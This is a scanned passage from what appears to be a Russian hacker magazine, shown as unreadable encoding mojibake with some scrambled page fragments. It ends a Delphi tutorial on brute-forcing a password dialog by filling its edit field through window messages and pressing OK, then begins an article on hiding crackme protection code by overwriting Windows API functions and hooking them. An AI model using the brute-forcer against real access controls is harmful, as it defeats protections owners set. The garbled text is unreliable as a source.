ñëîâàðþ.  ïåðâîì ñëó÷àå òàêæå ñïðîñèì, êàêîå ìàêñèìàëüíîå êîëè÷åñòâî ñèìâîëîâ â êîìáèíàöèè òðåáóåòñÿ äëÿ ïåðåáîðà, âî âòîðîì — îòêðîåì ñëîâàðü è ñïðîñèì, êàêîé äëèíû ñëîâà îòòóäà áðàòü. Âñå ýòî òû è ñàì ñìîæåøü ðåàëèçîâàòü.  îáùåì, òóò âñå íå âûõîäèò çà ðàìêè øêîëüíîãî êóðñà ïðîãðàììèðîâàíèÿ è ëåãêî ðåàëèçóåòñÿ ïàðîé îïåðàòîðîâ: writeln, readln è if-then-else. Òåïåðü, êîãäà âñå ãîòîâî ê íåïîñðåäñòâåííîìó çàïóñêó ïåðåáîðà, âîçíèêàåò åùå îäíà çàñàäà. Åñëè ìû ïðîñòî â êîíñîëüíîé ïðîãðàììêå çàïóñòèì êàêîé-íèáóäü äëèòåëüíûé öèêë, òî îíà êàê áû ïîäâèñíåò :). Íà ñàìîì äåëå îíà, êîíå÷íî, áóäåò ìèðíî ïðîñ÷èòûâàòü âñÿêèå òàì íóæíûå åé âåùè, íî ðåàãèðîâàòü íè íà ÷òî íå áóäåò, ïîêà íå çàêîí÷èòñÿ åå öèêë. Äëÿ òàêîãî ñëó÷àÿ â âèíäå ïðåäóñìîòðåíî ñîçäàíèå äîïîëíèòåëüíûõ ïîòîêîâ ïðèëîæåíèÿ. Òî åñòü îñíîâíîé ïîòîê çàíèìàåòñÿ èíòåðôåéñîì è ðåàãèðóåò íà ïîëüçîâàòåëÿ, à âòîðîé (òðåòèé, âîñåìíàäöàòûé è ò.ä.) îáñ÷èòûâàåò ïðèêëàäíóþ çàäà÷ó. Êîðî÷å, äëÿ âñåé äëèòåëüíîé ðàáîòû íàäî ñîçäàâàòü íîâûå ïîòîêè. Ýòî äåëàåòñÿ API-ôóíêöèåé CreateThread (îïèñàíèå íàõîäèòñÿ âî âðåçêå). Ïàðàìåòðîâ ó íåå êó÷à, äà òîëüêî íàì íàäî ëèøü óêàçàòü ïðîöåäóðó, êîòîðàÿ áóäåò âûïîëíÿòüñÿ â ïîòîêå (ó íàñ — lpStartRoutine).

while(EnumChildWindows(hIEPassWindow,@lpEnumFunc,0))do; hThread:=CreateThread(nil,0,@lpStartRoutine,nil,0,ThreadID);

Ýòîò îïåðàòîð áóäåò âûïîëíÿòüñÿ äî òåõ ïîð, ïîêà ôóíêöèÿ lpEnumFunc íå âåðíåò ôîëñ. À îíà ýòî ñäåëàåò òîãäà, êîãäà ìû åé ñêàæåì: function lpEnumFunc(hWind:HWND;lPar:LPARAM):Boolean;stdcall; var wintext:PChar; begin GetMem(wintext,128); GetClassName(hWind,wintext,127); if(CompareText(wintext,’EDIT’)=0)then begin hPassEdit:=hWind; Result:=FALSE; end else Result:=TRUE; FreeMem(wintext); end;

äèàëîã, ïîëÿ êîòîðîãî ìû ïåðåáèðàåì

118

ÏÎÒÎÊÈ Ïîòîêè — íóæíàÿ âåùü äëÿ íîðìàëüíîãî ïðîãðàììèðîâàíèÿ ïîä âèíäó. ×òîáû ñîçäàòü íîâûé ïîòîê, íàäî âîñïîëüçîâàòüñÿ ñëåäóþùåé ôóíêöèåé: function CreateThread(pThreadAttributes: LPSECURITY_ATTRIBUTES; dwStackSize: DWORD; lpStartAddress: LPTHREAD_START_ROUTINE; lpParameter: LPVOID; dwCreationFlags: DWORD;var lpThreadId: LPDWORD): HANDLE;

Ãëàâíîå — íå ïóãàòüñÿ. Âìåñòî áîëüøèíñòâà ïàðàìåòðîâ ìîæíî ñìåëî ïåðåäàâàòü nil èëè 0. Çàäàòü îáÿçàòåëüíî íóæíî òîëüêî lpStartAddress, êîòîðûé çàäàåò àäðåñ ôóíêöèè ïîòîêà. Äëÿ ñèíõðîíèçàöèè ïîòîêîâ ïðèìåíÿþòñÿ ôóíêöèè WaitForSingleObject è WaitForMultipleObject. Èõ ïàðàìåòðû óêàçûâàþò, èçìåíåíèÿ êàêîãî èìåííî îáúåêòà îæèäàòü, è ìàêñèìàëüíîå âðåìÿ îæèäàíèÿ (áåñêîíå÷íîå îæèäàíèå çàäàåòñÿ êëþ÷åâûì ñëîâîì INFINITE).

XÀÊÅÐ 02 /86/ 06


Ò Ëß È, ÊÎÃÄÀ ÒÎÒ ÒÅË ËÜÇÎÂÀÒ ÒÂÈß ÏÎË ÒÜ ÄÅÉÑÒ ÒÛÂÀÒ ÀÒ ÀÁ ÁÐ Î Ò ÅÒ Ä Ó Á ÎÊ Ò ÎÒ Ï ÌÌÛ ÛÉ Ð ÃÐÀ ÏÅ ÒÓÐÍÎ ÂÛÉÒÈ ÈÇ ÏÐÎ Ó ÊÓËÜÒ ÌÓ Å Ò ÈÒ Ë ÂÎ ÎÇ Ï , ß Ñß Ò ÅÒ ÁÀ Ë ÎË Ä ÀÄ Ç ËÜÍÎ ÒÅË ÎÊÎÍ×ÀÒ òàêîå îêíî ìû áóäåì âèäåòü ÷àñòî ;)

Èòàê, íà÷íåòñÿ íàø âòîðîé ïîòîê âõîäîì â ôóíêöèþ lpStartRoutine, à çàêîí÷èòñÿ — âûõîäîì èç íåå. Ïåðâûé ïîòîê áóäåò îáðàáàòûâàòü äåéñòâèÿ ïîëüçîâàòåëÿ è, êîãäà òîò îêîí÷àòåëüíî çàäîëáàåòñÿ, ïîçâîëèò åìó êóëüòóðíî âûéòè èç ïðîãðàììû, áåç âñÿêèõ òàì ïðèêîëîâ â ñòèëå «Ïðîãðàììà ñåé÷àñ ïîøëà ïîãóëÿòü, çàéäè ïîïîçæå». Ïàðó ñëîâ î ãëàâíîì ïîòîêå: åñëè îí çàâåðøèòñÿ ðàíüøå, ÷åì âòîðîé, òî îêíî êîíñîëè ïðîïàäåò, à âòîðîé ïîòîê îñòàíåòñÿ, ïîýòîìó, êàêîé ïàðîëü áóäåò íàéäåí, ìû òàê è íå óçíàåì. Äëÿ îáìåíà èíôîé î ãîòîâíîñòè ïîòîêîâ ñóùåñòâóþò ñðåäñòâà èõ ñèíõðîíèçàöèè. WaitForSingleObject(hThread,INFINITE);

Ýòó ñòðîêó íàäî ðàçìåñòèòü òàì, ãäå òû õî÷åøü ïîäîæäàòü çàâåðøåíèÿ ïîòîêà ñ äåñêðèïòîðîì hThread. Ïåðâûé ïîòîê áóäåò òèõî ïåðåìèíàòüñÿ äî òåõ ïîð, ïîêà íå ñëó÷èòñÿ ÷òî-òî ñ äåñêðèïòîðîì ñîçäàííîãî âòîðè÷íîãî ïîòîêà, à ñëó÷èòüñÿ ñ íèì ìîæåò òîëüêî îäíî: ïðîèçîéäåò âûõîä èç åãî ôóíêöèè (lpStartRoutine çàêîí÷èòñÿ, òî åñòü (î, ÷óäî!) ìû íàéäåì ïàðîëü). Çíà÷èò, æäåì â ïåðâîì ïîòîêå îêîí÷àíèÿ âòîðîãî, ïîòîì çàêðûâàåì ôàéë-ñëîâàðü è çàêðûâàåì õýíäë âòîðè÷íîãî ïîòîêà. Âñå, îñòàëîñü òîëüêî ôóíêöèþ âòîðè÷íîãî ïîòîêà ðàññìîòðåòü.  ýòîé ôóíêöèè ìû èíèöèàëèçèðóåì íåîáõîäèìûå íàì ïåðåìåííûå è çàïóñêàåì ãëàâíûé ìàñòåð-öèêë, â êîòîðîì ïåðåáîð è áóäåò ïð��èñõîäèòü. Íà êàæäîé èòåðàöèè â çàâèñèìîñòè îò òîãî, òóïîé áðóòôîðñ ýòî èëè ïåðåáîð ïî ñëîâàðþ, ñîçäàåì íîâóþ êîìáèíàöèþ, êîòîðóþ áóäåì âñòàâëÿòü â ïîëå ââîäà ïàðîëÿ (ïóíêò ¹2). Ñîõðàíÿåì êîìáèíàöèþ â ïåðåìåííîé pass è äåëàåì ñòðàøíóþ âåùü: SendMessage(hPassEdit,WM_SETTEXT,0,LPARAM(pass1));

Ýòî ìû ïîñëàëè ñîîáùåíèå pass1 â îêíî, êîòîðûì ÿâëÿåòñÿ ïîëå ââîäà ïàðîëÿ. WM_SETTEXT ïðèêàçûâàåò åìó çàïîëíèòüñÿ òåêñòîì, êîòîðûé

ÌÓ×ÀÅÌ ÒÅÊÑÒ ÎÊÍÀ

Òåêñò îêíà ìîæíî ñ÷èòûâàòü è óñòàíàâëèâàòü. Äëÿ îáû÷íîãî îêíà òåêñò îòîáðàæàåòñÿ â åãî çàãîëîâêå, äëÿ êíîïêè — íà íåé ñàìîé, äëÿ òåêñòîâîãî ïîëÿ — ââåäåí â òåêñòîâîå ïîëå. Ñ÷èòûâàåòñÿ òåêñò îêíà API-ôóíêöèåé GetWindowText (àðãóìåíòû — õýíäë îêíà òèïà HWND, óêàçàòåëü íà áóôåð, ïðèíèìàþùèé òåêñò îêíà, è ðàçìåð ýòîãî áóôåðà â áàéòàõ òèïà Integer). Óñòàíàâëèâàåòñÿ òåêñò îêíà ôóíêöèåé SetWindowText, ïðèíèìàþùåé òå æå ñàìûå ïàðàìåòðû, òîëüêî áåç äëèíû áóôåðà. Âòîðîé ñïîñîá ÷òåíèÿ/óñòàíîâêè òåêñòà îêíà — ïîñûëêà åìó ñîîáùåíèÿ WM_GETTEXT/WM_SETTEXT. Òîãäà lParam — àäðåñ áóôåðà ñî ñòðîêîé, à wParam — åãî ðàçìåð â áàéòàõ (äëÿ WM_SETTEXT ðàçìåð áóôåðà, ïîíÿòíîå äåëî, íå íóæåí è wParam=0).

íàøà çàìå÷àòåëüíàÿ òóëçà

ëåæèò ïî óêàçàòåëþ pass1 (ïóíêò ¹3).  îáùåì-òî, òî æå ñàìîå äåéñòâèå ìîæíî áûëî äåëàòü ñ ïîìîùüþ API-ôóíêöèè SetWindowText (ïîäðîáíåå ñìîòðè âðåçêó), íî ÿ çàõîòåë äëÿ ðàçíîîáðàçèÿ ïîêàçàòü åùå è ìåõàíèçì ðàáîòû ñ òåêñòîì îêíà ÷åðåç ïîñûëàåìûå åìó ñîîáùåíèÿ. PostMessage(hIEPassWindow,WM_COMMAND,WPARAM(IDOK),0);

À ýòî ìû íàæàëè íà êíîïêó ÎÊ (ïóíêò ¹4). Ñîîáùåíèå WM_COMMAND ïðèõîäèò âñÿêèé ðàç, êîãäà ïîëüçîâàòåëü íàæèìàåò êàêóþ-íèáóäü êíîïêó, çàõîäèò â ìåíþ èëè íàæèìàåò ãîðÿ÷èå êëàâèøè. Ïàðàìåòðîì wParam ñîîáùåíèÿ ÿâëÿåòñÿ èäåíòèôèêàòîð ñðàáîòàâøåãî ýëåìåíòà. Ïðîãðàììà èìåííî ïî íåìó îïðåäåëÿåò, ÷òî æå ñêîìàíäîâàë þçåð. Äàëåå íåîáõîäèìî íåìíîãî ïîñïàòü. Íî íå íàì, à åìó — âòîðè÷íîìó ïîòîêó. Ïî÷åìó? Ïîòîìó ÷òî òåïåðü, ñîãëàñíî ïóíêòó ¹5 íàøåãî ñóïåðàëãîðèòìà, íàäî ïðîâåðèòü, ïîÿâèëîñü ëè ðóãàòåëüíîå îêíî ñ çàãîëîâêîì «Îãðàíè÷åíèå äîñòóïà», êîòîðîå ñîîáùàåò î òîì, ÷òî ïàðîëü-òî íåâåðíûé! À îíî ñðàçó ìîæåò è íå ïîÿâèòñÿ, ïîòîìó ÷òî äëÿ åãî ïîÿâëåíèÿ ïîíàäîáèòñÿ êàêîå-òî âðåìÿ. Ïîëó÷àåòñÿ, íàø ïîòîê ìîæåò ðàíüøå çàêîí÷èòü ïîèñê ýòîãî îêíà è ðåøèòü, ÷òî îíî íå âûëåçëî (çíà÷èò, íàéäåí ïàðîëü!), à íà ñàìîì äåëå ýòî îêíî ïîÿâèòñÿ ïîñëå îêîí÷àíèÿ ïîèñêà (è î ïðàâèëüíîì ïîäáîðå è ðå÷è áûòü íå ìîæåò). Ïîýòîìó íàäî ñ óìîì óïðàâëÿòü ïàðàìåòðàìè çàñûïàíèÿ, ïîýêñïåðèìåíòèðîâàòü è ïîñìîòðåòü, ÷òîáû íå áûëî ëîæíûõ ñðàáàòûâàíèé. Íàïðèìåð, åñëè ÿ íè÷åãî íå äåëàþ â ôîíå, òî íîðìàëüíî äåéñòâóåò çàäåðæêà íà 20 ìñ, íî åñëè ÿ íà÷èíàþ çàïóñêàòü ÷òî-òî òÿæåëåíüêîå, òî ïðîãà íàøà ìîæåò è íåïðàâèëüíûé ïàðîëü âûäàòü.  îáùåì, èùè îïòèìóì. Êàêîé ïåðåáîðùèê âûøåë ó ìåíÿ â èòîãå, òû ìîæåøü ïîñìîòðåòü, åñëè çàëåçåøü íà äèñê. Î÷åíü ñîâåòóþ êàê ñëåäóåò èçó÷èòü ñîðöû, ÷òîáû óõâàòèòü âñå íþàíñû, óïóùåííûå â ýòîé ñòàòüå ;). ÂÎÒ, ÑÎÁÑÒÂÅÍÍÎ, È ÂÑÅ Âîò è ïðèøëî âðåìÿ çàêàí÷èâàòü ñèå óòîìèòåëüíîå ïîâåñòâîâàíèå. Òû òåïåðü çíàåøü, êàê âçàèìîäåéñòâîâàòü ñ ÷óæèìè îêíàìè, ñìîæåøü èõ íàõîäèòü, ñ÷èòûâàòü òåêñò, çàïîëíÿòü ïîëÿ, èçìåíÿòü òåêñò è ñîäåðæèìîå îêîí, â îáùåì, òâîðèòü âñå, ÷òî äóøå óãîäíî. Äà è íå òåõíè÷åñêàÿ ñòîðîíà òóò âàæíà. Ãëàâíîå ñîñòîèò â òîì, ÷òî ìîæíî áåç ðàçáèðàòåëüñòâ âî âíóòðåííåé ëîãèêå ñèñòåìû çàùèòû âçëîìàòü åå ñ äîâîëüíî ïðèëè÷íîé ñêîðîñòüþ, õîòÿ è íà ïîðÿäîê ìåíüøå, ÷åì ïåðåáîð ïî âíóòðåííåìó àëãîðèòìó ñèñòåìû. Çàòî íå íàäî ðàçáèðàòüñÿ â àññåìáëåðíûõ êîäàõ è ïðî÷èõ ïîòðîõàõ, òàê êàê ñèñòåìà âñå ñäåëàåò ñàìà, à òû çíàé ñåáå, ÷àé ñ âàðåíüåì ïîïèâàé, à íå ïàëüöû îá êëàâó ãàñè. È, åñëè íå ïîëó÷èòñÿ òàêèì ìåòîäîì ïàðîëü ñíÿòü, òîëüêî ïîòîì óæå çàñÿäåøü çà ñëîæíûå âåùè, âñÿêèå òàì ðåâåðñû è èíæåíåðèíãè. Òåïåðü ðàçðåøè îòêëàíÿòüñÿ è ïîæåëàòü òåáå, ÷òîáû âñå âçëàìûâàåìûå ïàðîëè íå âûõîäèëè çà ðàìêè áàíàëüíîãî «1» è âñåãäà îòûñêèâàëèñü. BINARY YOUR’S z

ÒÐÎÕÀÕ ÄÀÕ È ÏÐÎ×ÈÕ ÏÎÒ ËÅÐÍÛÕ ÊÎÄ ÄÎ ÐÀÇÁÈÐÀÒÜÑß Â ÀÑÑÅÌÁË ÇÀÒÎ ÍÅ ÍÀÄ

XÀÊÅÐ 02 /86/ 06

119


ÊÎÄÈÍÃ ÊÎÄÈÍÃ ///// ISSUE ASSEMBLER

TEXT ÊÐÈÑ ÊÀÑÏÅÐÑÊÈ ÀÊÀ ÌÛÙÚÕ / /

 ÏÐßÒÊÈ Ñ ÎÒËÀÄ×ÈÊÎÌ ÏÈØÅÌ CRACKME, ÏÐß×ÓÙÈÉ ÊÎÄ ÍÀ API-ÔÓÍÊÖÈßÕ

ÑÅÉ×ÀÑ ÌÛ ÁÓÄÅÌ ÇÀÍÈÌÀÒÜÑß ÓÂËÅÊÀÒÅËÜÍÛÌ ÄÅËÎÌ: ÏÈÑÀÒÜ CRACKME È ÏÛÒÀÒÜ ÅÃÎ ÍÀ ÏÐÅÄÌÅÒ ÂÇËÎÌÀ, À CRACKME ÁÓÄÅÒ ÌÎË×ÀÒÜ ÊÀÊ ÏÀÐÒÈÇÀÍ, ÏÎÒÎÌÓ ×ÒÎ ÏÐß×ÅÒ ÇÀÙÈÒÍÛÉ ÊÎÄ Â API-ÔÓÍÊÖÈßÕ, ÃÄÅ ÄÎ ÍÅÃÎ ÍÅ ÌÎÆÅÒ ÄÎÒßÍÓÒÜÑß ÍÈ ÄÈÇÀÑÑÅÌÁËÅÐ, ÍÈ ÄÀÌÏÅÐ, ÍÈ ÄÀÆÅ ÎÒËÀÄ×ÈÊ. ÝÒÎ ÄÐÅÂÍÈÉ ÏÐÈÅÌ, ÓÕÎÄßÙÈÉ ÑÂÎÈÌÈ ÊÎÐÍßÌÈ Â ÝÏÎÕÓ MS-DOS, ÍÎ ÍÈ×ÓÒÜ ÍÅ ÕÓÆÅ ÐÀÁÎÒÀÞÙÈÉ È Â ÀÃÐÅÑÑÈÂÍÎÌ ÌÈÐÅ WINDOWS

ÈÄÅß Áóäåì èñõîäèòü èç òîãî, ÷òî îñíîâíûì îðóäèåì õàêåðà ÿâëÿåòñÿ äèçàññåìáëåð è îòëàä÷èê (à ïðè àíàëèçå óïàêîâàííûõ ïðîãðàìì ê íèì åùå äîáàâëÿåòñÿ è äàìïåð). Ñóùåñòâóåò ìíîæåñòâî õèòðîóìíûõ òðþêîâ, çàòðóäíÿþùèõ òðàññèðîâêó è îòðàâëÿþùèõ äèçàññåìáëåðó æèçíü, îäíàêî îíè òîëüêî ïîäîãðåâàþò èíòåðåñ õàêåðà è çà÷àñòóþ âûçûâàþò íåïðåäñêàçóåìûå êîíôëèêòû, ÷òî íå åñòü õîðîøî. À äàâàé ïðîñòî ñïðÿ÷åì çàùèòíûé êîä òàì, ãäå íèêòî íå ñòàíåò åãî èñêàòü? Ïðîãðàììíûå êîìïëåêñû íàøèõ äíåé ñîäåðæàò ìèëëèîíû ñòðîê êîäà è ïîòîìó íèêîãäà íå àíàëèçèðóþòñÿ öåëèêîì. Åñëè õàêåð âñòðå÷àåò âûçîâ API-ôóíêöèè LoadLibrary, òî îí èñêðåííå âåðèò, ÷òî ýòî äåéñòâèòåëüíî LoadLibrary, à íå ÷òî-òî åùå. Òåîðåòè÷åñêè â API-ôóíêöèþ ìîæíî çàãëÿíóòü îòëàä÷èêîì, îäíàêî ïðàêòè÷åñêè îíà ïðåäñòàâëÿåò «÷åðíûé ÿùèê». Àíàëèçèðóÿ àðãóìåíòû è ïîñëåäîâàòåëüíîñòü âûçîâîâ API-ôóíêöèé (ñ ïîìîùüþ API-øïèîíîâ), õàêåð ïîëó÷àåò îáùåå ïðåäñòàâëåíèå î ðàáîòå çàùèòíîãî ìåõàíèçìà, ïîñëå ÷åãî ðåäêî ïðèõîäèòñÿ ïðèáåãàòü ê îòëàä÷èêó/äèçàññåìáëåðó. Ìûùúõ ïðåäëàãàåò çàùèùàòüñÿ òàê: áåðåì êàêóþ-íèáóäü íåíóæíóþ API-ôóíêöèþ, êîòîðàÿ çàâåäîìî íå èñïîëüçóåòñÿ, è êîïèðóåì

120

ïîâåðõ íåå ñâîé ñîáñòâåííûé êîä (äàëåå ïî òåêñòó íàçûâàåìûé X-êîäîì), âûïîëíÿþùèé ÷òî-òî ïîëåçíîå, íàïðèìåð, ïðîâåðÿþùèé ñåðèéíûé íîìåð. Âûáèðàòü ëó÷øå âñåãî íåáðîñêóþ, íåíàïðÿæåííóþ ôóíêöèþ ñ íàçâàíèåì íå âûçûâàþùèì ó õàêåðà íèêàêèõ ïîäîçðåíèé, íàïðèìåð GetTimeZoneInformation. Åñòåñòâåííî, ïåðåä êîïèðîâàíèåì íåîáõîäèìî ïðèñâîèòü ïàìÿòè, ãäå ðàñïîëîæåíà ôóíêöèÿ, àòðèáóò çàïèñè, ÷òî äîñòèãàåòñÿ âûçîâîì VirtualProtect ñ ôëàãîì PAGE_EXECUTE_READWRITE, à ïîñëå êîïèðîâàíèÿ âåðíóòü èñõîäíûå àòðèáóòû çàùèòû îáðàòíî. Ìîäèôèêàöèÿ API-ôóíêöèé íîñèò ñóãóáî ëîêàëüíûé õàðàêòåð. Ìåõàíèçì Copy-on-Write àâòîìàòè÷åñêè ðàñùåïëÿåò âñå èçìåíåííûå ñòðàíèöû, è ïîòîìó èçìåíåíèÿ ìîæåò óâèäåòü òîëüêî òîò ïðîöåññ, êîòîðûé èõ çàïèñàë. Ýòî çíà÷èò, ÷òî çà êîíôëèêòû ñ äðóãèìè ïðîöåññàìè ìîæíî íå âîëíîâàòüñÿ. Çàáîòèòüñÿ î âîññòàíîâëåíèè îðèãèíàëüíîãî ñîäåðæèìîãî API-ôóíêöèé òàêæå íå íóæíî. Ïîñêîëüêó àäðåñà API-ôóíêöèé íå îñòàþòñÿ ïîñòîÿííûìè è ÷àùå âñåãî âàðüèðóþòñÿ îò îäíîé ñèñòåìû ê äðóãîé. X-êîä íå ìîæåò ïðèâÿçûâàòüñÿ ê ñâîåìó ðàñïîëîæåíèþ â ïàìÿòè è äîëæåí ïîëíîñòüþ ïåðåìåùàòüñÿ. ×òîáû íå çàìîðà÷èâàòüñÿ, ìîæíî ðàçìåñòèòü X-êîä âíóòðè íàøåé ïðîãðàììû, à â íà÷àëî API-

ôóíêöèè âíåäðèòü jump. Êîíå÷íî, ýòî áóäåò áîëåå çàìåòíî. Ñòîèò õàêåðó çàãëÿíóòü îòëàä÷èêîì â API-ôóíêöèþ, êàê îí òóò æå ïîéìåò, ÷òî îíà ïðîïàò÷åíà, à âîò ïðè êîïèðîâàíèè X-êîäà ïîâåðõ API-ôóíêöèè ýòî óæå íå òàê î÷åâèäíî. Ðàçâèâàÿ ìûñëü äàëüøå, ìîæíî íå çàòèðàòü íåíóæíîå API, à âçÿòü ïîïóëÿðíóþ ôóíêöèþ òèïà CreateFile è ñëåãêà «óñîâåðøåíñòâîâàòü» åå, íàïðèìåð, íåçàìåòíî ðàñøèôðîâûâàòü ñîäåðæèìîå ôàéëà èëè ïðîñòî ïîìóõëåâàòü ñ àðãóìåíòàìè. Äîïóñòèì, ïðîãðàììà îòêðûâàåò ôàéë «file_1». X-êîä, âíåäðåííûé â CreateFile, çàìåíÿåò åãî íà «file_2», ïåðåäàâàÿ óïðàâëåíèå îðèãèíàëüíîé CreateFile, — ïóñòü îíà åãî îòêðûâàåò! Ôàêòè÷åñêè ìû ïðèõîäèì ê èäåå ñîçäàíèÿ APIïåðåõâàò÷èêà (àêà øïèîíà), òîëüêî øïèîíèòü îí äîëæåí íå çà ÷óæèì ïðîöåññîì, à çà ñâîèì ñîáñòâåííûì, ïåðåõâàòûâàÿ íóæíûå API-ôóíêöèè è ñêðûòíî âûïîëíÿÿ íåêîòîðûå äîïîëíèòåëüíûå äåéñòâèÿ. Ýòî ñåðüåçíî çàòðóäíÿåò äèçàññåìáëèðîâàíèå, ïîñêîëüêó êëþ÷åâûå ìîìåíòû çàùèòíîãî àëãîðèòìà èäóò ìèìî õàêåðà, êîòîðûé íè õðåíà íå ìîæåò ïîíÿòü, êàê ýòî ðàáîòàåò è ïî÷åìó (íàïðèìåð, ìîæíî âíåäðèòü â CreateFile ïðîöåäóðó ïðîâåðêè êëþ÷åâîãî ôàéëà, à â ñàìîé ïðîãðàììå òîëüêî èìèòèðîâàòü åãî âûïîëíåíèå, çàñòàâëÿÿ õàêåðà àíàëèçèðîâàòü êèëîìåòðû ñîâåðøåííîãî ëåâîãî êîäà).

XÀÊÅÐ 02 /86/ 06


ÇÀÙÈÒÀ ÎÒ MICROSOFT Õîäÿò ñëóõè, ÷òî ïîñëåäóþùèå âåðñèè Windows çàïðåòÿò ïðèêëàäíîìó êîäó ïðèñâàèâàòü âñå òðè àòðèáóòà PAGE_EXECUTE_READWRITE îäíîâðåìåííî, ïîñêîëüêó ðåàëüíî ýòî íóæíî òîëüêî çëîâðåäíîìó êîäó. Ýòî ñìîæåò äåëàòü òîëüêî ñèñòåìà èëè àäìèíèñòðàòîð. Ïîýòîìó ïåðåä êîïèðîâàíèåì íåîáõîäèìî ïðèñâîèòü àòðèáóòû PAGE_READWRITE, è òîëüêî ïîñëå — PAGE_EXECUTE.

ÊËÀÑÑÈ×ÅÑÊÈÉ ÏÅÐÅÕÂÀÒ API-ÔÓÍÊÖÈÉ Ïðåæäå ÷åì ïðèñòóïàòü ê êîäèðîâàíèþ, ðàçáåðåì àëãîðèòì êëàññè÷åñêîãî ïåðåõâàòà, ïðèìåð ãîòîâîé ðåàëèçàöèè ìîæíî íàéòè, íàïðèìåð, â wmfhotfix.cpp îò Èëüôàêà Ãèëüôàíîâà, èñõîäíûé êîä êîòîðîãî ìîæíî ñêà÷àòü ïî àäðåñó: castlecops.com/downloads-file-499-detailsWMF_hotfix_source_code.html: • Ïåðåõâàò÷èê çàïîìèíàåò íåñêîëüêî ïåðâûõ êîìàíä API-ôóíêöèè â ñâîåì áóôåðå (buf); • Äîïèñûâàåò ê íèì jump íà îñòàòîê API-ôóíêöèè (after_thunk); •  íà÷àëî API-ôóíêöèè ñòàâèò jump íà X-êîä (thunk); • X-êîä âûïîëíÿåò âñå, ÷òî çàäóìàíî, è ïðûãàåò íà buf, îòäàâàÿ óïðàâëåíèå API-ôóíêöèè; Ýòà ñõåìà ïîçâîëÿåò âûïîëíÿòü X-êîä ïåðåä âûçîâîì API-ôóíêöèè. Âûïîëíåíèå ïîñëå çàâåðøåíèÿ îñóùåñòâëÿåòñÿ ÷óòü-÷óòü ñëîæíåå (call âìåñòî jump ñ ïîäìåíîé àäðåñà âîçâðàòà), íî êëàññè÷åñêàÿ ñõåìà èìååò êó÷ó ïðîáëåì è ïîäâîäíûõ ãðàáëåé, êîòîðûå î÷åíü ñëîæíî îáîéòè. Ïåðåìåííàÿ äëèíà ìàøèííûõ êîìàíä íà x86 çàòðóäíÿåò îïðåäåëåíèå èõ ãðàíèö, è ìû íå ìîæåì ïðîñòî âçÿòü è ñêîïèðîâàòü íåñêîëüêî áàéò, âåäü ïðè ýòîì ëåãêî ðàçðåçàòü ïîñëåäíþþ ì��øèííóþ êîìàíäó íàïîïîëàì, è òîãäà âìåñòî ïåðåõâàòà ìû ïîëó÷èì êðàõ. Ïðèõîäèòñÿ ëèáî òàùèòü çà ñîáîé ïðèìèòèâíûé äèçàññåìáëåð (à ýòî î÷åíü ìíîãî àññåìáëåðíûõ ñòðîê), ëèáî îðèåíòèðîâàòüñÿ íà ñòàíäàðòíûé ïðîëîã push ebp/mov ebp,esp, çàíèìàþùèé âñåãî òðè áàéòà (55 8B EC), â òî âðåìÿ êàê jump íà thunk òðåáóåò, êàê ìèíèìóì, ïÿòü! Çà ïðîëîãîì æå ìîæåò èäòè âñå, ÷òî óãîäíî: è sub esp,xxx, è push, è… Â îáùåì-òî, âàðèàíòîâ íå òàê óæ è ìíîãî, íî çàêëàäûâàòüñÿ íà íèõ íè â êîåì ñëó÷àå íåëüçÿ, èíà÷å ïåðåõâàò÷èê ïîëó÷èòñÿ íå óíèâåðñàëüíûì è íå ïåðåíîñèìûì. Ïðîáëåìà íîìåð äâà — òî÷êè îñòàíîâà. Äîïóñòèì, îòëàä÷èê òèïà SoftICE èëè OllyDbg óñòàíîâèë ïðîãðàììíóþ òî÷êó îñòàíîâà íà ïåðåõâà÷åííóþ ôóíêöèþ, âíåäðèâ â åå íà÷àëî ìàøèííóþ êîìàíäó INT 03h (CCh) ñ ïðåäâàðèòåëüíûì ñîõðàíåíèåì îðèãèíàëüíîãî ñîäåðæèìîãî â ñâîåì òåëå. ×òî äîëæåí äåëàòü â ýòîì ñëó÷àå íàø ïåðåõâàò÷èê? Äàæå åñëè îí ðàñïîçíàåò èñêàæåííûé ïðîëîã, òî êîïèðîâàòü íà÷àëî API-ôóíêöèè â buf íè â êîåì ñëó÷àå íåëüçÿ, âåäü òîãäà áóäåò ñêîïèðîâàíà è òî÷êà îñòàíîâà. Êîãäà îíà ñðàáîòàåò è ïåðåäàñò óïðàâëåíèå îòëàä÷èêó, òî îí ïðîñìîòðèò ñâîè çàïèñè, óâèäèò, ÷òî ïî äàííîìó àäðåñó ëè÷íî îí íå óñòàíàâëèâàë íèêàêîé òî÷êè îñòàíîâà, è íå áóäåò åå âîññòàíàâëèâàòü! À çàòåì âîçíèêàåò íåîáðàáîòàííîå èñêëþ÷åíèå è êðàõ. Êàê áûòü, ÷òî äåëàòü? Ìîæíî, êîíå÷íî, ïðîàíàëèçèðîâàòü ïåðâûé áàéò API-ôóíêöèè è, åñëè îí ðàâåí CCh, òî íóæíî îòêàçàòüñÿ îò ïåðåõâàòà, òîëüêî ñ òàêèì ïðåäëîæåíèåì ëó÷øå ñðàçó èäòè â Resycle Bin. Çà÷åì íàì íóæåí ïåðåõâàò÷èê, êîòîðûé íè÷åãî íå ïåðåõâàòûâàåò? Ê òîìó æå ìåõàíèçì DEP, ïîääåðæèâàåìûé XP SP2 è âûøå, çàïðåùàåò âûïîëíåíèå êîäà â îáëàñòè äàííûõ, çíà÷èò, ðàñïîëàãàòü buf â ñòåêå íåëüçÿ. Òî åñòü ìîæíî, êîíå÷íî, íî ïåðåä ýòèì íåîáõîäèìî âûçâàòü VirtualProtect, íàçíà÷àÿ ïðàâà äîñòóïà íà èñïîëíåíèå. Èñõîäíûé êîä êëàññè÷åñêîãî ïåðåõâàò÷èêà ïîëó÷àåòñÿ ñëèøêîì áîëüøèì è íåíàãëÿäíûì, òàê ÷òî íå áóäåì åãî çäåñü ïðèâîäèòü, à ëó÷øå ïðèäóìàåì ÷òî-íèáóäü ïîèçÿùíåå.

